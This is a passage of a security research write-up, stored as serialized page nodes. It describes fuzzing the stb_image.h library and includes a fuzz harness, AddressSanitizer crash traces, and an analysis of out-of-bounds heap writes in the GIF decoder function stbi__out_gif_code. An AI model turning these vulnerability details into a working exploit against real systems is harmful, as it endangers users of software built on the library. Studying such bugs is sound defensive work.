\"./stb/stb_image.h\"\n",{"type":22,"tag":118,"props":149046,"children":149047},{"class":120,"line":177},[149048],{"type":22,"tag":118,"props":149049,"children":149050},{"emptyLinePlaceholder":15},[149051],{"type":28,"value":250},{"type":22,"tag":118,"props":149053,"children":149054},{"class":120,"line":195},[149055,149059,149063,149067,149071,149076,149080,149085,149089,149094],{"type":22,"tag":118,"props":149056,"children":149057},{"style":146},[149058],{"type":28,"value":21014},{"type":22,"tag":118,"props":149060,"children":149061},{"style":532},[149062],{"type":28,"value":92376},{"type":22,"tag":118,"props":149064,"children":149065},{"style":125},[149066],{"type":28,"value":540},{"type":22,"tag":118,"props":149068,"children":149069},{"style":146},[149070],{"type":28,"value":21014},{"type":22,"tag":118,"props":149072,"children":149073},{"style":204},[149074],{"type":28,"value":149075}," argc",{"type":22,"tag":118,"props":149077,"children":149078},{"style":125},[149079],{"type":28,"value":231},{"type":22,"tag":118,"props":149081,"children":149082},{"style":146},[149083],{"type":28,"value":149084},"char",{"type":22,"tag":118,"props":149086,"children":149087},{"style":210},[149088],{"type":28,"value":91477},{"type":22,"tag":118,"props":149090,"children":149091},{"style":204},[149092],{"type":28,"value":149093},"argv",{"type":22,"tag":118,"props":149095,"children":149096},{"style":125},[149097],{"type":28,"value":16783},{"type":22,"tag":118,"props":149099,"children":149100},{"class":120,"line":244},[149101,149105],{"type":22,"tag":118,"props":149102,"children":149103},{"style":146},[149104],{"type":28,"value":21044},{"type":22,"tag":118,"props":149106,"children":149107},{"style":125},[149108],{"type":28,"value":149109}," x, y, comp;\n",{"type":22,"tag":118,"props":149111,"children":149112},{"class":120,"line":253},[149113,149118,149122,149126],{"type":22,"tag":118,"props":149114,"children":149115},{"style":146},[149116],{"type":28,"value":149117},"    unsigned",{"type":22,"tag":118,"props":149119,"children":149120},{"style":146},[149121],{"type":28,"value":60989},{"type":22,"tag":118,"props":149123,"children":149124},{"style":210},[149125],{"type":28,"value":11815},{"type":22,"tag":118,"props":149127,"children":149128},{"style":125},[149129],{"type":28,"value":149130},"ret;\n",{"type":22,"tag":118,"props":149132,"children":149133},{"class":120,"line":263},[149134],{"type":22,"tag":118,"props":149135,"children":149136},{"emptyLinePlaceholder":15},[149137],{"type":28,"value":250},{"type":22,"tag":118,"props":149139,"children":149140},{"class":120,"line":318},[149141,149145,149150,149154,149158],{"type":22,"tag":118,"props":149142,"children":149143},{"style":1480},[149144],{"type":28,"value":2159},{"type":22,"tag":118,"props":149146,"children":149147},{"style":125},[149148],{"type":28,"value":149149}," (argc ",{"type":22,"tag":118,"props":149151,"children":149152},{"style":210},[149153],{"type":28,"value":17659},{"type":22,"tag":118,"props":149155,"children":149156},{"style":674},[149157],{"type":28,"value":677},{"type":22,"tag":118,"props":149159,"children":149160},{"style":125},[149161],{"type":28,"value":16783},{"type":22,"tag":118,"props":149163,"children":149164},{"class":120,"line":351},[149165,149169,149173],{"type":22,"tag":118,"props":149166,"children":149167},{"style":1480},[149168],{"type":28,"value":2223},{"type":22,"tag":118,"props":149170,"children":149171},{"style":674},[149172],{"type":28,"value":6535},{"type":22,"tag":118,"props":149174,"children":149175},{"style":125},[149176],{"type":28,"value":801},{"type":22,"tag":118,"props":149178,"children":149179},{"class":120,"line":359},[149180],{"type":22,"tag":118,"props":149181,"children":149182},{"style":125},[149183],{"type":28,"value":1254},{"type":22,"tag":118,"props":149185,"children":149186},{"class":120,"line":368},[149187],{"type":22,"tag":118,"props":149188,"children":149189},{"emptyLinePlaceholder":15},[149190],{"type":28,"value":250},{"type":22,"tag":118,"props":149192,"children":149193},{"class":120,"line":384},[149194,149199,149203,149208,149212,149216,149220,149224,149228,149232,149237,149241,149246,149250,149255,149259],{"type":22,"tag":118,"props":149195,"children":149196},{"style":125},[149197],{"type":28,"value":149198},"    ret ",{"type":22,"tag":118,"props":149200,"children":149201},{"style":210},[149202],{"type":28,"value":282},{"type":22,"tag":118,"props":149204,"children":149205},{"style":532},[149206],{"type":28,"value":149207}," stbi_load",{"type":22,"tag":118,"props":149209,"children":149210},{"style":125},[149211],{"type":28,"value":540},{"type":22,"tag":118,"props":149213,"children":149214},{"style":204},[149215],{"type":28,"value":149093},{"type":22,"tag":118,"props":149217,"children":149218},{"style":125},[149219],{"type":28,"value":5746},{"type":22,"tag":118,"props":149221,"children":149222},{"style":674},[149223],{"type":28,"value":6026},{"type":22,"tag":118,"props":149225,"children":149226},{"style":125},[149227],{"type":28,"value":25011},{"type":22,"tag":118,"props":149229,"children":149230},{"style":210},[149231],{"type":28,"value":1407},{"type":22,"tag":118,"props":149233,"children":149234},{"style":125},[149235],{"type":28,"value":149236},"x, ",{"type":22,"tag":118,"props":149238,"children":149239},{"style":210},[149240],{"type":28,"value":1407},{"type":22,"tag":118,"props":149242,"children":149243},{"style":125},[149244],{"type":28,"value":149245},"y, ",{"type":22,"tag":118,"props":149247,"children":149248},{"style":210},[149249],{"type":28,"value":1407},{"type":22,"tag":118,"props":149251,"children":149252},{"style":125},[149253],{"type":28,"value":149254},"comp, ",{"type":22,"tag":118,"props":149256,"children":149257},{"style":674},[149258],{"type":28,"value":6036},{"type":22,"tag":118,"props":149260,"children":149261},{"style":125},[149262],{"type":28,"value":682},{"type":22,"tag":118,"props":149264,"children":149265},{"class":120,"line":417},[149266,149270,149275,149279,149283],{"type":22,"tag":118,"props":149267,"children":149268},{"style":1480},[149269],{"type":28,"value":2159},{"type":22,"tag":118,"props":149271,"children":149272},{"style":125},[149273],{"type":28,"value":149274}," (ret ",{"type":22,"tag":118,"props":149276,"children":149277},{"style":210},[149278],{"type":28,"value":302},{"type":22,"tag":118,"props":149280,"children":149281},{"style":146},[149282],{"type":28,"value":129366},{"type":22,"tag":118,"props":149284,"children":149285},{"style":125},[149286],{"type":28,"value":16783},{"type":22,"tag":118,"props":149288,"children":149289},{"class":120,"line":425},[149290,149294,149298],{"type":22,"tag":118,"props":149291,"children":149292},{"style":1480},[149293],{"type":28,"value":2223},{"type":22,"tag":118,"props":149295,"children":149296},{"style":674},[149297],{"type":28,"value":6535},{"type":22,"tag":118,"props":149299,"children":149300},{"style":125},[149301],{"type":28,"value":801},{"type":22,"tag":118,"props":149303,"children":149304},{"class":120,"line":441},[149305],{"type":22,"tag":118,"props":149306,"children":149307},{"style":125},[149308],{"type":28,"value":1254},{"type":22,"tag":118,"props":149310,"children":149311},{"class":120,"line":475},[149312],{"type":22,"tag":118,"props":149313,"children":149314},{"style":125},[149315],{"type":28,"value":63727},{"type":22,"tag":118,"props":149317,"children":149318},{"class":120,"line":484},[149319,149324],{"type":22,"tag":118,"props":149320,"children":149321},{"style":532},[149322],{"type":28,"value":149323},"    stbi_image_free",{"type":22,"tag":118,"props":149325,"children":149326},{"style":125},[149327],{"type":28,"value":149328},"(ret);\n",{"type":22,"tag":118,"props":149330,"children":149331},{"class":120,"line":492},[149332],{"type":22,"tag":118,"props":149333,"children":149334},{"emptyLinePlaceholder":15},[149335],{"type":28,"value":250},{"type":22,"tag":118,"props":149337,"children":149338},{"class":120,"line":501},[149339,149343,149347],{"type":22,"tag":118,"props":149340,"children":149341},{"style":1480},[149342],{"type":28,"value":18954},{"type":22,"tag":118,"props":149344,"children":149345},{"style":674},[149346],{"type":28,"value":5074},{"type":22,"tag":118,"props":149348,"children":149349},{"style":125},[149350],{"type":28,"value":801},{"type":22,"tag":118,"props":149352,"children":149353},{"class":120,"line":519},[149354],{"type":22,"tag":118,"props":149355,"children":149356},{"style":125},[149357],{"type":28,"value":481},{"type":22,"tag":31,"props":149359,"children":149360},{},[149361],{"type":28,"value":149362},"And soon after starting the fuzzer it found an interesting bug:",{"type":22,"tag":107,"props":149364,"children":149366},{"code":149365},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[149367],{"type":22,"tag":114,"props":149368,"children":149369},{"__ignoreMap":7},[149370],{"type":28,"value":149365},{"type":22,"tag":1899,"props":149372,"children":149374},{"id":149373},"investigating-the-finding",[149375],{"type":28,"value":149376},"Investigating the Finding",{"type":22,"tag":31,"props":149378,"children":149379},{},[149380,149382,149388,149389,149394],{"type":28,"value":149381},"The ASAN output shows that at line ",{"type":22,"tag":114,"props":149383,"children":149385},{"className":149384},[],[149386],{"type":28,"value":149387},"6233",{"type":28,"value":144888},{"type":22,"tag":114,"props":149390,"children":149392},{"className":149391},[],[149393],{"type":28,"value":148921},{"type":28,"value":149395}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":22,"tag":107,"props":149397,"children":149399},{"code":149398,"language":5169,"meta":7,"className":18481,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[149400],{"type":22,"tag":114,"props":149401,"children":149402},{"__ignoreMap":7},[149403,149445,149452,149478,149491,149498,149506,149513,149567,149574,149620,149653],{"type":22,"tag":118,"props":149404,"children":149405},{"class":120,"line":121},[149406,149410,149414,149419,149424,149428,149432,149437,149441],{"type":22,"tag":118,"props":149407,"children":149408},{"style":146},[149409],{"type":28,"value":52985},{"type":22,"tag":118,"props":149411,"children":149412},{"style":146},[149413],{"type":28,"value":52990},{"type":22,"tag":118,"props":149415,"children":149416},{"style":532},[149417],{"type":28,"value":149418}," stbi__out_gif_code",{"type":22,"tag":118,"props":149420,"children":149421},{"style":125},[149422],{"type":28,"value":149423},"(stbi__gif ",{"type":22,"tag":118,"props":149425,"children":149426},{"style":210},[149427],{"type":28,"value":671},{"type":22,"tag":118,"props":149429,"children":149430},{"style":204},[149431],{"type":28,"value":110894},{"type":22,"tag":118,"props":149433,"children":149434},{"style":125},[149435],{"type":28,"value":149436},", stbi__uint16 ",{"type":22,"tag":118,"props":149438,"children":149439},{"style":204},[149440],{"type":28,"value":114},{"type":22,"tag":118,"props":149442,"children":149443},{"style":125},[149444],{"type":28,"value":3665},{"type":22,"tag":118,"props":149446,"children":149447},{"class":120,"line":142},[149448],{"type":22,"tag":118,"props":149449,"children":149450},{"style":125},[149451],{"type":28,"value":12879},{"type":22,"tag":118,"props":149453,"children":149454},{"class":120,"line":177},[149455,149460,149464,149469,149473],{"type":22,"tag":118,"props":149456,"children":149457},{"style":125},[149458],{"type":28,"value":149459},"   stbi_uc ",{"type":22,"tag":118,"props":149461,"children":149462},{"style":210},[149463],{"type":28,"value":671},{"type":22,"tag":118,"props":149465,"children":149466},{"style":125},[149467],{"type":28,"value":149468},"p, ",{"type":22,"tag":118,"props":149470,"children":149471},{"style":210},[149472],{"type":28,"value":671},{"type":22,"tag":118,"props":149474,"children":149475},{"style":125},[149476],{"type":28,"value":149477},"c;\n",{"type":22,"tag":118,"props":149479,"children":149480},{"class":120,"line":195},[149481,149486],{"type":22,"tag":118,"props":149482,"children":149483},{"style":146},[149484],{"type":28,"value":149485},"   int",{"type":22,"tag":118,"props":149487,"children":149488},{"style":125},[149489],{"type":28,"value":149490}," idx; \n",{"type":22,"tag":118,"props":149492,"children":149493},{"class":120,"line":244},[149494],{"type":22,"tag":118,"props":149495,"children":149496},{"emptyLinePlaceholder":15},[149497],{"type":28,"value":250},{"type":22,"tag":118,"props":149499,"children":149500},{"class":120,"line":253},[149501],{"type":22,"tag":118,"props":149502,"children":149503},{"style":125},[149504],{"type":28,"value":149505},"   [...]\n",{"type":22,"tag":118,"props":149507,"children":149508},{"class":120,"line":263},[149509],{"type":22,"tag":118,"props":149510,"children":149511},{"emptyLinePlaceholder":15},[149512],{"type":28,"value":250},{"type":22,"tag":118,"props":149514,"children":149515},{"class":120,"line":318},[149516,149520,149524,149528,149532,149537,149541,149546,149550,149555,149559,149563],{"type":22,"tag":118,"props":149517,"children":149518},{"style":1480},[149519],{"type":28,"value":54585},{"type":22,"tag":118,"props":149521,"children":149522},{"style":125},[149523],{"type":28,"value":842},{"type":22,"tag":118,"props":149525,"children":149526},{"style":204},[149527],{"type":28,"value":110894},{"type":22,"tag":118,"props":149529,"children":149530},{"style":125},[149531],{"type":28,"value":593},{"type":22,"tag":118,"props":149533,"children":149534},{"style":204},[149535],{"type":28,"value":149536},"cur_y",{"type":22,"tag":118,"props":149538,"children":149539},{"style":210},[149540],{"type":28,"value":634},{"type":22,"tag":118,"props":149542,"children":149543},{"style":204},[149544],{"type":28,"value":149545}," g",{"type":22,"tag":118,"props":149547,"children":149548},{"style":125},[149549],{"type":28,"value":593},{"type":22,"tag":118,"props":149551,"children":149552},{"style":204},[149553],{"type":28,"value":149554},"max_y",{"type":22,"tag":118,"props":149556,"children":149557},{"style":125},[149558],{"type":28,"value":588},{"type":22,"tag":118,"props":149560,"children":149561},{"style":1480},[149562],{"type":28,"value":50397},{"type":22,"tag":118,"props":149564,"children":149565},{"style":125},[149566],{"type":28,"value":801},{"type":22,"tag":118,"props":149568,"children":149569},{"class":120,"line":351},[149570],{"type":22,"tag":118,"props":149571,"children":149572},{"emptyLinePlaceholder":15},[149573],{"type":28,"value":250},{"type":22,"tag":118,"props":149575,"children":149576},{"class":120,"line":359},[149577,149582,149586,149590,149594,149599,149603,149607,149611,149615],{"type":22,"tag":118,"props":149578,"children":149579},{"style":125},[149580],{"type":28,"value":149581},"   idx ",{"type":22,"tag":118,"props":149583,"children":149584},{"style":210},[149585],{"type":28,"value":282},{"type":22,"tag":118,"props":149587,"children":149588},{"style":204},[149589],{"type":28,"value":149545},{"type":22,"tag":118,"props":149591,"children":149592},{"style":125},[149593],{"type":28,"value":593},{"type":22,"tag":118,"props":149595,"children":149596},{"style":204},[149597],{"type":28,"value":149598},"cur_x",{"type":22,"tag":118,"props":149600,"children":149601},{"style":210},[149602],{"type":28,"value":10905},{"type":22,"tag":118,"props":149604,"children":149605},{"style":204},[149606],{"type":28,"value":149545},{"type":22,"tag":118,"props":149608,"children":149609},{"style":125},[149610],{"type":28,"value":593},{"type":22,"tag":118,"props":149612,"children":149613},{"style":204},[149614],{"type":28,"value":149536},{"type":22,"tag":118,"props":149616,"children":149617},{"style":125},[149618],{"type":28,"value":149619},"; \n",{"type":22,"tag":118,"props":149621,"children":149622},{"class":120,"line":368},[149623,149628,149632,149636,149640,149644,149648],{"type":22,"tag":118,"props":149624,"children":149625},{"style":125},[149626],{"type":28,"value":149627},"   p ",{"type":22,"tag":118,"props":149629,"children":149630},{"style":210},[149631],{"type":28,"value":282},{"type":22,"tag":118,"props":149633,"children":149634},{"style":210},[149635],{"type":28,"value":1430},{"type":22,"tag":118,"props":149637,"children":149638},{"style":204},[149639],{"type":28,"value":110894},{"type":22,"tag":118,"props":149641,"children":149642},{"style":125},[149643],{"type":28,"value":593},{"type":22,"tag":118,"props":149645,"children":149646},{"style":204},[149647],{"type":28,"value":120317},{"type":22,"tag":118,"props":149649,"children":149650},{"style":125},[149651],{"type":28,"value":149652},"[idx];\n",{"type":22,"tag":118,"props":149654,"children":149655},{"class":120,"line":384},[149656,149661,149665,149670,149675,149679,149683,149687,149691,149695,149699],{"type":22,"tag":118,"props":149657,"children":149658},{"style":204},[149659],{"type":28,"value":149660},"   g",{"type":22,"tag":118,"props":149662,"children":149663},{"style":125},[149664],{"type":28,"value":593},{"type":22,"tag":118,"props":149666,"children":149667},{"style":204},[149668],{"type":28,"value":149669},"history",{"type":22,"tag":118,"props":149671,"children":149672},{"style":125},[149673],{"type":28,"value":149674},"[idx ",{"type":22,"tag":118,"props":149676,"children":149677},{"style":210},[149678],{"type":28,"value":888},{"type":22,"tag":118,"props":149680,"children":149681},{"style":674},[149682],{"type":28,"value":13745},{"type":22,"tag":118,"props":149684,"children":149685},{"style":125},[149686],{"type":28,"value":10663},{"type":22,"tag":118,"props":149688,"children":149689},{"style":210},[149690],{"type":28,"value":282},{"type":22,"tag":118,"props":149692,"children":149693},{"style":674},[149694],{"type":28,"value":6535},{"type":22,"tag":118,"props":149696,"children":149697},{"style":125},[149698],{"type":28,"value":51014},{"type":22,"tag":118,"props":149700,"children":149701},{"style":257},[149702],{"type":28,"value":149703},"          // OOB write\n",{"type":22,"tag":31,"props":149705,"children":149706},{},[149707,149709,149714,149716,149722,149724,149730],{"type":28,"value":149708},"It’s reasonable to assume ",{"type":22,"tag":114,"props":149710,"children":149712},{"className":149711},[],[149713],{"type":28,"value":78113},{"type":28,"value":149715}," is outside the bounds of ",{"type":22,"tag":114,"props":149717,"children":149719},{"className":149718},[],[149720],{"type":28,"value":149721},"g->history",{"type":28,"value":149723},", which leads to a one-byte OOB write (",{"type":22,"tag":114,"props":149725,"children":149727},{"className":149726},[],[149728],{"type":28,"value":149729},"g->history[idx / 4] = 1",{"type":28,"value":149731},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":22,"tag":31,"props":149733,"children":149734},{},[149735,149737,149742,149744,149750,149752,149757,149759,149765,149767,149773],{"type":28,"value":149736},"Because ",{"type":22,"tag":114,"props":149738,"children":149740},{"className":149739},[],[149741],{"type":28,"value":31},{"type":28,"value":149743}," is computed from ",{"type":22,"tag":114,"props":149745,"children":149747},{"className":149746},[],[149748],{"type":28,"value":149749},"g->out[idx]",{"type":28,"value":149751}," immediately before the violation, we considered whether ",{"type":22,"tag":114,"props":149753,"children":149755},{"className":149754},[],[149756],{"type":28,"value":78113},{"type":28,"value":149758}," could also be OOB for ",{"type":22,"tag":114,"props":149760,"children":149762},{"className":149761},[],[149763],{"type":28,"value":149764},"g->out",{"type":28,"value":149766},". Note that computing the address ",{"type":22,"tag":114,"props":149768,"children":149770},{"className":149769},[],[149771],{"type":28,"value":149772},"&g->out[idx]",{"type":28,"value":149774}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":22,"tag":31,"props":149776,"children":149777},{},[149778,149780,149785],{"type":28,"value":149779},"If we comment out ",{"type":22,"tag":114,"props":149781,"children":149783},{"className":149782},[],[149784],{"type":28,"value":149729},{"type":28,"value":149786}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":22,"tag":107,"props":149788,"children":149790},{"code":149789},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[149791],{"type":22,"tag":114,"props":149792,"children":149793},{"__ignoreMap":7},[149794],{"type":28,"value":149789},{"type":22,"tag":31,"props":149796,"children":149797},{},[149798],{"type":28,"value":149799},"This corresponds to:",{"type":22,"tag":107,"props":149801,"children":149803},{"code":149802,"language":5169,"meta":7,"className":18481,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[149804],{"type":22,"tag":114,"props":149805,"children":149806},{"__ignoreMap":7},[149807,149846,149853,149860,149867,149910,149941,149985,149992,150060,150100,150145,150184,150223,150262],{"type":22,"tag":118,"props":149808,"children":149809},{"class":120,"line":121},[149810,149814,149818,149822,149826,149830,149834,149838,149842],{"type":22,"tag":118,"props":149811,"children":149812},{"style":146},[149813],{"type":28,"value":52985},{"type":22,"tag":118,"props":149815,"children":149816},{"style":146},[149817],{"type":28,"value":52990},{"type":22,"tag":118,"props":149819,"children":149820},{"style":532},[149821],{"type":28,"value":149418},{"type":22,"tag":118,"props":149823,"children":149824},{"style":125},[149825],{"type":28,"value":149423},{"type":22,"tag":118,"props":149827,"children":149828},{"style":210},[149829],{"type":28,"value":671},{"type":22,"tag":118,"props":149831,"children":149832},{"style":204},[149833],{"type":28,"value":110894},{"type":22,"tag":118,"props":149835,"children":149836},{"style":125},[149837],{"type":28,"value":149436},{"type":22,"tag":118,"props":149839,"children":149840},{"style":204},[149841],{"type":28,"value":114},{"type":22,"tag":118,"props":149843,"children":149844},{"style":125},[149845],{"type":28,"value":3665},{"type":22,"tag":118,"props":149847,"children":149848},{"class":120,"line":142},[149849],{"type":22,"tag":118,"props":149850,"children":149851},{"style":125},[149852],{"type":28,"value":12879},{"type":22,"tag":118,"props":149854,"children":149855},{"class":120,"line":177},[149856],{"type":22,"tag":118,"props":149857,"children":149858},{"style":125},[149859],{"type":28,"value":149505},{"type":22,"tag":118,"props":149861,"children":149862},{"class":120,"line":195},[149863],{"type":22,"tag":118,"props":149864,"children":149865},{"emptyLinePlaceholder":15},[149866],{"type":28,"value":250},{"type":22,"tag":118,"props":149868,"children":149869},{"class":120,"line":244},[149870,149874,149878,149882,149886,149890,149894,149898,149902,149906],{"type":22,"tag":118,"props":149871,"children":149872},{"style":125},[149873],{"type":28,"value":149581},{"type":22,"tag":118,"props":149875,"children":149876},{"style":210},[149877],{"type":28,"value":282},{"type":22,"tag":118,"props":149879,"children":149880},{"style":204},[149881],{"type":28,"value":149545},{"type":22,"tag":118,"props":149883,"children":149884},{"style":125},[149885],{"type":28,"value":593},{"type":22,"tag":118,"props":149887,"children":149888},{"style":204},[149889],{"type":28,"value":149598},{"type":22,"tag":118,"props":149891,"children":149892},{"style":210},[149893],{"type":28,"value":10905},{"type":22,"tag":118,"props":149895,"children":149896},{"style":204},[149897],{"type":28,"value":149545},{"type":22,"tag":118,"props":149899,"children":149900},{"style":125},[149901],{"type":28,"value":593},{"type":22,"tag":118,"props":149903,"children":149904},{"style":204},[149905],{"type":28,"value":149536},{"type":22,"tag":118,"props":149907,"children":149908},{"style":125},[149909],{"type":28,"value":149619},{"type":22,"tag":118,"props":149911,"children":149912},{"class":120,"line":253},[149913,149917,149921,149925,149929,149933,149937],{"type":22,"tag":118,"props":149914,"children":149915},{"style":125},[149916],{"type":28,"value":149627},{"type":22,"tag":118,"props":149918,"children":149919},{"style":210},[149920],{"type":28,"value":282},{"type":22,"tag":118,"props":149922,"children":149923},{"style":210},[149924],{"type":28,"value":1430},{"type":22,"tag":118,"props":149926,"children":149927},{"style":204},[149928],{"type":28,"value":110894},{"type":22,"tag":118,"props":149930,"children":149931},{"style":125},[149932],{"type":28,"value":593},{"type":22,"tag":118,"props":149934,"children":149935},{"style":204},[149936],{"type":28,"value":120317},{"type":22,"tag":118,"props":149938,"children":149939},{"style":125},[149940],{"type":28,"value":149652},{"type":22,"tag":118,"props":149942,"children":149943},{"class":120,"line":263},[149944,149948,149952,149956,149960,149964,149968,149972,149976,149980],{"type":22,"tag":118,"props":149945,"children":149946},{"style":204},[149947],{"type":28,"value":149660},{"type":22,"tag":118,"props":149949,"children":149950},{"style":125},[149951],{"type":28,"value":593},{"type":22,"tag":118,"props":149953,"children":149954},{"style":204},[149955],{"type":28,"value":149669},{"type":22,"tag":118,"props":149957,"children":149958},{"style":125},[149959],{"type":28,"value":149674},{"type":22,"tag":118,"props":149961,"children":149962},{"style":210},[149963],{"type":28,"value":888},{"type":22,"tag":118,"props":149965,"children":149966},{"style":674},[149967],{"type":28,"value":13745},{"type":22,"tag":118,"props":149969,"children":149970},{"style":125},[149971],{"type":28,"value":10663},{"type":22,"tag":118,"props":149973,"children":149974},{"style":210},[149975],{"type":28,"value":282},{"type":22,"tag":118,"props":149977,"children":149978},{"style":674},[149979],{"type":28,"value":6535},{"type":22,"tag":118,"props":149981,"children":149982},{"style":125},[149983],{"type":28,"value":149984},";  \n",{"type":22,"tag":118,"props":149986,"children":149987},{"class":120,"line":318},[149988],{"type":22,"tag":118,"props":149989,"children":149990},{"emptyLinePlaceholder":15},[149991],{"type":28,"value":250},{"type":22,"tag":118,"props":149993,"children":149994},{"class":120,"line":351},[149995,150000,150004,150008,150012,150016,150021,150025,150029,150033,150038,150043,150048,150052,150056],{"type":22,"tag":118,"props":149996,"children":149997},{"style":125},[149998],{"type":28,"value":149999},"   c ",{"type":22,"tag":118,"props":150001,"children":150002},{"style":210},[150003],{"type":28,"value":282},{"type":22,"tag":118,"props":150005,"children":150006},{"style":210},[150007],{"type":28,"value":1430},{"type":22,"tag":118,"props":150009,"children":150010},{"style":204},[150011],{"type":28,"value":110894},{"type":22,"tag":118,"props":150013,"children":150014},{"style":125},[150015],{"type":28,"value":593},{"type":22,"tag":118,"props":150017,"children":150018},{"style":204},[150019],{"type":28,"value":150020},"color_table",{"type":22,"tag":118,"props":150022,"children":150023},{"style":125},[150024],{"type":28,"value":5746},{"type":22,"tag":118,"props":150026,"children":150027},{"style":204},[150028],{"type":28,"value":110894},{"type":22,"tag":118,"props":150030,"children":150031},{"style":125},[150032],{"type":28,"value":593},{"type":22,"tag":118,"props":150034,"children":150035},{"style":204},[150036],{"type":28,"value":150037},"codes",{"type":22,"tag":118,"props":150039,"children":150040},{"style":125},[150041],{"type":28,"value":150042},"[code].",{"type":22,"tag":118,"props":150044,"children":150045},{"style":204},[150046],{"type":28,"value":150047},"suffix",{"type":22,"tag":118,"props":150049,"children":150050},{"style":210},[150051],{"type":28,"value":11815},{"type":22,"tag":118,"props":150053,"children":150054},{"style":674},[150055],{"type":28,"value":13745},{"type":22,"tag":118,"props":150057,"children":150058},{"style":125},[150059],{"type":28,"value":33513},{"type":22,"tag":118,"props":150061,"children":150062},{"class":120,"line":359},[150063,150067,150071,150075,150079,150083,150087,150091,150096],{"type":22,"tag":118,"props":150064,"children":150065},{"style":1480},[150066],{"type":28,"value":54585},{"type":22,"tag":118,"props":150068,"children":150069},{"style":125},[150070],{"type":28,"value":842},{"type":22,"tag":118,"props":150072,"children":150073},{"style":204},[150074],{"type":28,"value":5169},{"type":22,"tag":118,"props":150076,"children":150077},{"style":125},[150078],{"type":28,"value":5746},{"type":22,"tag":118,"props":150080,"children":150081},{"style":674},[150082],{"type":28,"value":19260},{"type":22,"tag":118,"props":150084,"children":150085},{"style":125},[150086],{"type":28,"value":10663},{"type":22,"tag":118,"props":150088,"children":150089},{"style":210},[150090],{"type":28,"value":12460},{"type":22,"tag":118,"props":150092,"children":150093},{"style":674},[150094],{"type":28,"value":150095}," 128",{"type":22,"tag":118,"props":150097,"children":150098},{"style":125},[150099],{"type":28,"value":16783},{"type":22,"tag":118,"props":150101,"children":150102},{"class":120,"line":368},[150103,150108,150112,150116,150120,150124,150128,150132,150136,150140],{"type":22,"tag":118,"props":150104,"children":150105},{"style":204},[150106],{"type":28,"value":150107},"      p",{"type":22,"tag":118,"props":150109,"children":150110},{"style":125},[150111],{"type":28,"value":5746},{"type":22,"tag":118,"props":150113,"children":150114},{"style":674},[150115],{"type":28,"value":6036},{"type":22,"tag":118,"props":150117,"children":150118},{"style":125},[150119],{"type":28,"value":10663},{"type":22,"tag":118,"props":150121,"children":150122},{"style":210},[150123],{"type":28,"value":282},{"type":22,"tag":118,"props":150125,"children":150126},{"style":204},[150127],{"type":28,"value":39386},{"type":22,"tag":118,"props":150129,"children":150130},{"style":125},[150131],{"type":28,"value":5746},{"type":22,"tag":118,"props":150133,"children":150134},{"style":674},[150135],{"type":28,"value":5147},{"type":22,"tag":118,"props":150137,"children":150138},{"style":125},[150139],{"type":28,"value":57852},{"type":22,"tag":118,"props":150141,"children":150142},{"style":257},[150143],{"type":28,"value":150144},"        // OOB write\n",{"type":22,"tag":118,"props":150146,"children":150147},{"class":120,"line":384},[150148,150152,150156,150160,150164,150168,150172,150176,150180],{"type":22,"tag":118,"props":150149,"children":150150},{"style":204},[150151],{"type":28,"value":150107},{"type":22,"tag":118,"props":150153,"children":150154},{"style":125},[150155],{"type":28,"value":5746},{"type":22,"tag":118,"props":150157,"children":150158},{"style":674},[150159],{"type":28,"value":6026},{"type":22,"tag":118,"props":150161,"children":150162},{"style":125},[150163],{"type":28,"value":10663},{"type":22,"tag":118,"props":150165,"children":150166},{"style":210},[150167],{"type":28,"value":282},{"type":22,"tag":118,"props":150169,"children":150170},{"style":204},[150171],{"type":28,"value":39386},{"type":22,"tag":118,"props":150173,"children":150174},{"style":125},[150175],{"type":28,"value":5746},{"type":22,"tag":118,"props":150177,"children":150178},{"style":674},[150179],{"type":28,"value":6026},{"type":22,"tag":118,"props":150181,"children":150182},{"style":125},[150183],{"type":28,"value":33513},{"type":22,"tag":118,"props":150185,"children":150186},{"class":120,"line":417},[150187,150191,150195,150199,150203,150207,150211,150215,150219],{"type":22,"tag":118,"props":150188,"children":150189},{"style":204},[150190],{"type":28,"value":150107},{"type":22,"tag":118,"props":150192,"children":150193},{"style":125},[150194],{"type":28,"value":5746},{"type":22,"tag":118,"props":150196,"children":150197},{"style":674},[150198],{"type":28,"value":5147},{"type":22,"tag":118,"props":150200,"children":150201},{"style":125},[150202],{"type":28,"value":10663},{"type":22,"tag":118,"props":150204,"children":150205},{"style":210},[150206],{"type":28,"value":282},{"type":22,"tag":118,"props":150208,"children":150209},{"style":204},[150210],{"type":28,"value":39386},{"type":22,"tag":118,"props":150212,"children":1